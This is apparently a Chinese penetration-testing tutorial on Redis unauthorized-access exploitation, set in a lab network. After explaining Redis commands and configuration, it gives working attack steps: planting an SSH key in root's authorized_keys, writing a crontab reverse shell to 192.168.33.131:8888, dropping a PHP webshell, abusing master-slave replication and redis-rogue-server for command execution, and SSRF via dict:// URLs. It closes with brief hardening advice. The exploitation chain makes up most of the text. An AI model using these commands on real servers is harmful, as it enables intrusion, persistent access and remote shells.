redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
set xz "Hacker" # 设置键xz的值为字符串Hacker get xz # 获取键xz的内容 SET score 857 # 设置键score的值为857 INCR score # 使用INCR命令将score的值增加1 GET score # 获取键score的内容 keys * # 列出当前数据库中所有的键 config set protected-mode no # 关闭安全模式 get anotherkey # 获取一个不存在的键的值 config set dir /root/redis # 设置保存目录 config set dbfilename redis.rdb # 设置保存文件名 config get dir # 查看保存目录 config get dbfilename # 查看保存文件名 save # 进行一次备份操作 flushall # 删除所有数据 del key # 删除键为key的数据 slaveof ip port # 设置主从关系 redis-cli -h ip -p 6379 -a passwd # 外部连接
1.使用SET和GET命令,可以完成基本的赋值和取值操作;2.Redis是不区分命令的大小写的,set和SET是同一个意思;3.使用keys *可以列出当前数据库中的所有键;4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);5.如果键的值中有空格,需要使用双引号括起来,如"Hello World";
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:save 900 1save 300 10save 60 10000表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
为快速复现,默认apt-get安装先进行更新sudo apt-get upgrade安装sudo apt-get install redis-server默认安装到 /usr/bin/redis-server直接启动服务就可以执行redis-server或者redis-server+(配置文件目录)注意要将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。还需要关闭防火墙,具体命令:sudo ufw disable 查看防火墙状态:sudo ufw status
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;(2)客户端发起登录请求,发送自己的相关信息;(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
ssh-keygen -t rsacd /root/.sshlscat id_rsa.pub
redis-cli -h 192.168.33.134 #连接目标主机redisconfig get dir #检查当前保存路径config get dbfilename #检查保存文件名config set dir /root/.ssh/ #设置保存路径config set dbfilename authorized_keys #设置保存文件名set xz "\n\n\n 公钥 \n\n\n" #将公钥写入xz健save #进行保存
redis-cli -h 192.168.33.134 #连接redisflushall #清除所有键值config set dir /var/spool/cron/crontabs/ #设置保存路径config set dbfilename shell #保存名称set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n" #将反弹shell写入xz键值save #写入保存路径的shell文件
补充:若不知道物理路径,可尝试寻找网站的应用程序错误或者常见绝对路径去尝试。
redis-cli -h 192.168.3.134 #连接Redisconfig set dir /www/admin/localhost_80/wwwroot #设置要写入shell的路径set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" #写入phpinfo()到xxx键config set dbfilename phpinfo.phpsave
[email protected]:~/桌面# redis-cli -h 192.168.33.134192.168.33.134:6379> slaveof 192.168.33.131 6379OK192.168.33.134:6379> get xz(nil)192.168.33.134:6379> [email protected]:~/桌面# redis-cli127.0.0.1:6379> get xz(nil)127.0.0.1:6379> set xz xzOK127.0.0.1:6379> [email protected]:~/桌面# redis-cli -h 192.168.33.134192.168.33.134:6379> get xz"xz"192.168.33.134:6379>
[email protected]:~/桌面# redis-cli -h 192.168.33.134192.168.33.134:6379> slaveof 192.168.33.131 6379OK
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so根据提示输入i进入交互shell
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so根据提示输入r,接着输入ip和端口进行反弹
这里直接写入<>会被实体编码,?直接被截断,暂时没找到解决办法dict://192.168.33.134:6379/set:xz:<?php phpinfo() ;?> dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.phpdict://192.168.33.134:6379/save直接写入失败,所以可以采用主从复制写入dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwrootdict://192.168.33.134:6379/config:set:dbfilename:ssrf.php先设置好保存的路径和保存的文件名然后登入kali进行主从复制操作,方法和上面的一样127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"再去web端执行save操作dict://192.168.33.134:6379/save这样数据直接回同步到目标机
写入webshell,需要知道web路径写入启动项,需要目标服务器重启写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
rename-command FLUSHALL ""rename-command CONFIG ""rename-command EVAL ""
rename-command FLUSHALL "name1"rename-command CONFIG "name2"rename-command EVAL "name3"
groupadd -r redis && useradd -r -g redis redis
requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
bind 127.0.0.1
Port 6379
chmod 400 ~/.ssh/authorized_keys
chattr +i ~/.ssh/authorized_keys
chattr +i ~/.ssh
热文推荐